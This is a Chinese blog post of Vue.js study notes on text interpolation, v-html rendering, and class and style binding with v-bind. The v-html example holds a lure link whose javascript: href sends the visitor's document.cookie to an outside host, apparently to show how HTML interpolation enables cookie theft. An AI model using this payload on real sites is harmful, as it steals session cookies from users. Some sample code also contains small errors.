【前端】vue.js从入门到项目实战笔记

文章目录

  • 第三章
    • [3.1 插值绑定({{}}, v-html)](#3.1 插值绑定({{}}, v-html))
    • [3.1.1 文本插值](#3.1.1 文本插值)
      • [3.1.2 HTML插值](#3.1.2 HTML插值)
    • [3.2 属性绑定 v-bind](#3.2 属性绑定 v-bind)
      • [3.2.1 指令v-bind](#3.2.1 指令v-bind)
      • [3.2.3 类名和样式绑定](#3.2.3 类名和样式绑定)

【前端目录贴】

第三章

3.1 插值绑定({{}}, v-html)

文本插值中的代码被解释为节点的文本内容,而HTML插值中的代码则被渲染为视图节点。

3.1.1 文本插值

文本插值的方式:用双大括号将要绑定的变量、值、表达式括住就可以实现,Vue将会获取计算后的值,并以文本的形式将其展示出来。

js 复制代码
<div id="app">
    <h2>文本插值</h2>
    <p><span class="profile">变量:</span> {{ num }}</p>
    <p><span class="profile">表达式:</span> {{ 4 + 10 }}</p>
    <p><span class="profile">三目运算符:</span> {{ true ? 15 : 10  }}</p>
    <p><span class="profile">函数:</span> {{ getNum() }}</p>
    <p><span class="profile">匿名函数:</span> {{ (() => 5 + 10)() }}</p>
    <p><span class="profile">对象:</span> {{ {num: 15} }}</p>
    <p><span class="profile">函数对象:</span> {{ getNum }}</p>
    <p><span class="profile">html代码(表达式):</span> {{ '<span>15</span>' }}</p>
    <p><span class="profile">html代码(变量):</span> {{ html }}</p>
</div>
<script>
    var vue=new Vue({
       el:"#app",
       data(){
           return {
               num:10,
               html:"<span>15</span>"
           };
       },
        methods:{
           getNum(){
               return this.num;
           }
        }
    });
</script>

结果:

3.1.2 HTML插值

js 复制代码
<body>
    <div id="demo">
        <div>{{blog}}</div>
        <hr/>
        <div v-html="blog">21312</div>
    </div>
    <script>
        new Vue({
            el:'#demo',
            data:{
                blog:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
            }
        })
    </script>
</body>

3.2 属性绑定 v-bind

3.2.1 指令v-bind

DOM节点的属性基本都可以用指令v-bind进行绑定.

js 复制代码
<!-- 准备好一个容器 -->
<div id="demo">
    <h1 v-bind:class="className">Hello,尚硅谷</h1>
<!--    简写形式-->
    <a  :href="hrefName">百度</a>
</div>
<script>
    //创建Vue实例,传一个参数,(对象,叫做配置对象)
    new Vue({
        el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
        data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
            className: "italic",
            hrefName: "https://baidu.com"
        }

    })
</script>

3.2.3 类名和样式绑定

类名实际由数组拼接而成

样式有对象键值对拼接而成

(虽然都可以用其他方式表示)

  • 表达类名: 字符串, 数组, 对象

说明:将类名作为对象键名,当键值被判定为真时,类名将被绑定到节点.

js中等价于false的表达: undefined ,null,0, 空字符串, \[\], {},-1, -0.1

js 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="./vue.js"></script>
    <style>
        .color-gray{
            color: #b1191a;
        }
        .size-18{
            font-size: 18px;
        }
        .style-italic{
            font-style: italic;
        }
    </style>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo">
    <h1  class="color-gray size-18 style-italic">Hello,尚硅谷</h1>
    <h1 v-bind:class="classStr">Hello,尚硅谷</h1>
    <h1 v-bind:class="classArr">Hello,尚硅谷</h1>
    <h1 v-bind:class="classObj1">Hello,尚硅谷</h1>
    <h1 v-bind:class="classObj2">Hello,尚硅谷</h1>
</div>
<script>
    //创建Vue实例,传一个参数,(对象,叫做配置对象)
    new Vue({
        el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
        data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
            classStr: "color-gray size-18 style-italic",//拼接字符串
            classArr: ['color-gray','size-18', 'style-italic'],//数组
            classObj1: {//对象,绑定类名
                'color-gray':true,
                'size-18':true,
                'style-italic':true
            },
            classObj2: {//对象,未绑定类名
                'color-gray':false,
                'size-18':false,
                'style-italic':false
            }
        }

    })
</script>
</body>
</html>


  • 表达样式: 字符串, 对象 (不能用数组)
js 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="./vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo">
    <h1  style="color: gray; size:18px; font-style: italic">Hello,尚硅谷</h1>
    <h1 v-bind:style="classStr">Hello,尚硅谷</h1>
    <h1 v-bind:style="classArr">Hello,尚硅谷</h1>
    <h1 v-bind:style="classObj1">Hello,尚硅谷</h1>
    <h1 v-bind:style="classObj2">Hello,尚硅谷</h1>
</div>
<script>
    //创建Vue实例,传一个参数,(对象,叫做配置对象)
    new Vue({
        el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
        data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
            classStr: "color: gray; size:18px; font-style: italic",//拼接字符串
            classArr: ['color: gray','size:18px', 'font-style: italic'],//数组
            classObj1: {//对象,绑定类名
                'color':'gray',
                'size':'18px',
                'font-style':'italic'
            },
            classObj2: {//对象,未绑定类名
                'color':0?'gray':'',
                'size':''?'18px':'',
                'font-style':null?'italic':''
            }
        }

    })
</script>
</body>
</html>
相关推荐
2601_9583529030 分钟前
A-59U 仅 37mm 却集成 USB + 双波束?
前端·回声消除·语音模块·降噪处理·降噪消回音
泯泷6 小时前
那段文字是谁删的?Yjs 14 正式版之前,一套删除归属方案的实现与边界
前端·javascript·算法
野槐9 小时前
前端项目优化(有了我,会发生...)
前端
aa小小9 小时前
【无标题】
前端
计算机魔术师10 小时前
还在单线程跟 AI 聊天?Claude Code 并行多会话让你一个人干三个人的活
前端
志尊宝10 小时前
Vue3 零基础每日笔记(038):亲手封装 useDebounceFn 与 useThrottleFn——高频事件的流量阀
前端·javascript·vue·html·vue3
JavaGuide10 小时前
对标 MinIO!全新一代分布式文件系统正式发布
前端·后端
风骏时光牛马10 小时前
AI驱动自动化业务工作流搭建实践
前端
码云之上11 小时前
Skill 里的脚本终于能跑了,星悟接 CubeSandbox 的纪实
前端·人工智能·前端框架
CAYA-11 小时前
模电笔记1.1 半导体基础与 PN 结
经验分享·笔记·学习方法